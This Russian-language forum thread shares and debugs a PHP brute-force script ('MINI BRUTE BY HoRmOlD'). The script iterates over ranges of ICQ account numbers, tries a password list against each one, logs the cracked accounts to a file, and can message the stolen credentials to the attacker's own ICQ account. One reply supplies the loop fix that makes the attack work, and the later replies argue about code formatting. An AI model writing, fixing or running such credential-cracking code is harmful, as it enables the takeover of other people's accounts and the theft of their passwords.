Вот пишу брут на php... Получается так: он берёт последний пароль из списка и проверяет его! Остальное он не трогает! Как избавиться от этого? Вот код: PHP: <? $good="good.txt"; $bad="bad.txt"; if (@socket_create()) { echo "<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>"; exit(); } error_reporting(0); set_time_limit(0); ignore_user_abort(1); if(!empty($_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"]) { $plist = explode("\n", $_GET["pass"]); $icq = new WebIcqLite(); if (empty($uin)) { $uin = $_GET["uin_start"]; } elseif ($_GET["uin_end"] == $uin && $_GET["uin_rand"] == 0) { exit(); } else { $uin++; } for ($i = 0; $i <= count($plist)-1; $i++) { $new_pass = trim($plist[$i]); } if($icq->connect($uin, $new_pass)) { $file = fopen($good, "a+"); fwrite($file, $uin.";".$new_pass."\n"); fclose($file); if ($_GET["send"] == "icq") { $icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass); } } else { $badfile = fopen($bad, "a"); fwrite($badfile, $uin.";".$new_pass."\n"); fclose($badfile); } }else{ ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>MINI BRUTE BY HoRmOlD</title> </head> <body> <center> <table width="703" height="272" border="0"> <tr> <td height="56"><center> <font color="#FF0000"><strong>MINI BRUTE BY HoRmOlD </strong></font> </center> </td> </tr> <tr> <td><center> <p> </p> <form method="get"> <p>С какого номера начать: <input type="text" name="uin_start" /> </p> <p>Каким закончить: <input type="text" name="uin_end" /> </p> <p>Пароли(Не больше трёх):</p> <p> <textarea name="pass" cols="30" rows="5"></textarea> </p> <p>Если сбручен номер то: <select name="send" size="1" > <option value="icq" selected>На ICQ <option value="0">Просто записать в good.txt </select><BR> Номер icq админа: <input type="text" name="admin" /> <INPUT TYPE="hidden" name="start" value="1"> </p> <p> <input name="Submit" type="submit" value="Брутить" /> </p> </form> <p>(C) HoRmOlD</p> <p> </p> </center> </td> </tr> </table></center> </body> </html> <? ///END BRUTE CODE } //Тут идёт WebIcqLite, нестал помещать из за размера!!! ?>
Засунь в цикл проверку Code: if($icq->connect($uin, $new_pass)).... PHP: for ($i = 0; $i <= count($plist)-1; $i++) { $new_pass = trim($plist[$i]); } В этот цикл PHP: <?php for ($i = 0; $i <= count($plist)-1; $i++){ if($icq->connect($uin, $new_pass)){ $file = fopen($good, "a+"); fwrite($file, $uin.";".$new_pass."\n"); fclose($file); if ($_GET["send"] == "icq"){ $icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass); } } else{ $badfile = fopen($bad, "a"); fwrite($badfile, $uin.";".$new_pass."\n"); fclose($badfile); } } ?> Вроде так З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем)
Про это(З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем)) я искал ошибки и всё разложил так чтобы было удобно!
Поставь Zend Studio там есть функция Ident Code, которая делает твой код читабельным и удаляет лишник отступы. З.Ы.:не знаб есть ли в других редакторах такая фукнция
Я считаю красивый код такой: PHP: <?php error_reporting(0); set_time_limit(0); ignore_user_abort(1); $good = 'good.txt'; $bad = 'bad.txt'; if (@socket_create()) exit('<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>'); if(!empty($_GET['pass']) && $_GET['uin_start'] && $_GET['uin_end']) { $plist = explode("\n", $_GET['pass']); $icq = new WebIcqLite(); if(empty($uin)) { $uin = $_GET['uin_start']; } elseif($_GET['uin_end'] == $uin && $_GET['uin_rand'] == 0) exit(); else $uin++; for($i = 0; $i <= count($plist)-1; $i++) { $new_pass = trim($plist[$i]); } if($icq->connect($uin, $new_pass)) { $file = fopen($good, 'a+'); fwrite($file, $uin.";".$new_pass."\n"); fclose($file); if ($_GET['send'] == 'icq') $icq->send_message($_GET['admin'], "Сбручен номер:\n".$uin.";".$current_pass); } else { $badfile = fopen($bad, 'a'); fwrite($badfile, $uin.";".$new_pass."\n"); fclose($badfile); } } else { ?> html <?php } ?>
У каждого свое представление о красоте,но когда речь идет о программном коде,то здесь главное читаемость,а не красота. Вроде существуют каноны,по котоым следует оформлять код P.S.: не оффтопь
Нет,так как понятие красоты понятие субъективное,мне вот не нравится твое оформление кода,но он читаем. Меня напрягают отступы вначале и пробелы ИМХО лишние между условиями.
Отступа слева быть не должно. Посмотри в исходники Zend Framework, который уж точно соответствует стандартам - там нет ни одного отступа на "корневом" уровне.